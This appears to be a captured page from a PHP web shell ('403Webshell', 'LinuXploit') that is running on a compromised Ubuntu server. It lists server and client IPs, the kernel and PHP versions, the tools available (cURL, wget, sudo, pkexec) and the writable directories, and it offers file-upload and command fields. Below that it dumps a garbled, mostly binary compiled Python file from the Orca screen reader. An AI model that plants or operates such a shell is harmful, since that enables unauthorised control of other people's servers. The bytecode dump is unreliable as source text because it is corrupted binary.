403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/orca/scripts/terminal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/orca/scripts/terminal/__pycache__/script.cpython-310.pyc
o

S�b\�@s~dZdZdZdZdZddlmZddlmZddlmZdd	lm	Z	d
dl
mZd
dlm
Z
d
d
lmZGdd�de	j�ZdS)z$Id$z
$Revision$z$Date$zCopyright (c) 2016 Igalia, S.L.�LGPL�)�debug)�orca)�
orca_state)�default���BrailleGenerator��SpeechGenerator��	UtilitiescsxeZdZ�fdd�Z�fdd�Zdd�Zdd�Zd	d
�Zdd�Z�fd
d�Z	�fdd�Z
�fdd�Z�fdd�Z�Z
S)�Scriptcst��|�d|_dS)NF)�super�__init__�presentIfInactive)�self�app��	__class__��>/usr/lib/python3/dist-packages/orca/scripts/terminal/script.pyr's
zScript.__init__cs|j��t���dS)z'Called when this script is deactivated.N)�	utilities�
clearCacher�
deactivate�rrrrr+s
zScript.deactivatecC�t|�S)z.Returns the braille generator for this script.rrrrr�getBrailleGenerator1�zScript.getBrailleGeneratorcCr)z-Returns the speech generator for this script.r
rrrr�getSpeechGenerator6rzScript.getSpeechGeneratorcCr)z%Returns the utilites for this script.rrrrr�getUtilities;rzScript.getUtilitiescCst�||j�dS)z)Callback for focus: accessibility events.N)r�setLocusOfFocus�source)r�eventrrr�onFocus@szScript.onFocuscs4|j�|�rd}t�tj|d�dSt��|�dS)z=Callback for object:text-changed:delete accessibility events.z*TERMINAL: Deletion is believed to be noiseTN)r�treatEventAsNoiser�println�
LEVEL_INFOr�
onTextDeleted)rr#�msgrrrr(Fs
zScript.onTextDeletedcs�|j�|�sd}t�tj|d�t��|�dSd}t�tj|d�|�|j�|j�	|�}t
|�dkr:|�|�n|jj
|j|d�}|j||d�|jrOdSz|j��}WnYdS|�|j|j�|j�|j�dS)z=Callback for object:text-changed:insert accessibility events.z0TERMINAL: Passing along event to default script.TNz=TERMINAL: Insertion is believed to be due to terminal commandr)�obj�string)�voice)r�treatEventAsCommandrr&r'r�onTextInserted�
updateBrailler"�insertedText�len�speakCharacter�speechGeneratorr,�speakMessage�flatReviewContext�	queryText�_saveLastCursorPosition�caretOffset�updateCachedTextSelection)rr#r)�	newStringr,�textrrrr.Ps*zScript.onTextInsertedcs�tjs|��s
t��|�S|��rdSd|_|j��|j	dks(|�
�s(|��r*dSz|���
�}|j}|�|d|�}|�||d�}WnYdS|j}||d|fvrXdSd|}t�tj|d�|�|�dS)NFr�spacez&TERMINAL: Presenting keyboard event %sT)r�learnModeEnabled�isPrintableKeyr�presentKeyboardEvent�isPressedKey�_sayAllIsInterruptedr�clearCachedCommandState�
shouldEcho�isOrcaModified�isCharacterEchoable�	getObjectr6r8�getText�event_stringrr&r'�
speakKeyEvent)rr#r;�offset�prevChar�charr+r)rrrr?ps,

zScript.presentKeyboardEventcs�|jdkrdSd\}}|jdkr#|j�|�rdS|j�dddg�\}}|dus-|j|jkr3t��|�S|j|jkr;dSddt	|��
dd�f}d	|}t�tj
|d
�d
S)Nzobject:text-changed:insertF)Nrzobject:text-changed:deleterz
%s%sz           �	z7TERMINAL: Skipping due to more recent event at offset%sT)�typer�#isBackSpaceCommandTextDeletionEvent�
eventCache�getr"r�skipObjectEvent�detail1�str�replacerr&r')rr#�newEvent�newTime�datar)rrrrR�s

zScript.skipObjectEvent)�__name__�
__module__�__qualname__rrrrr r$r(r.r?rR�
__classcell__rrrrr%s
 rN)�__id__�__version__�__date__�
__copyright__�__license__rrr�orca.scriptsr�braille_generatorr	�speech_generatorr�script_utilitiesr
rrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit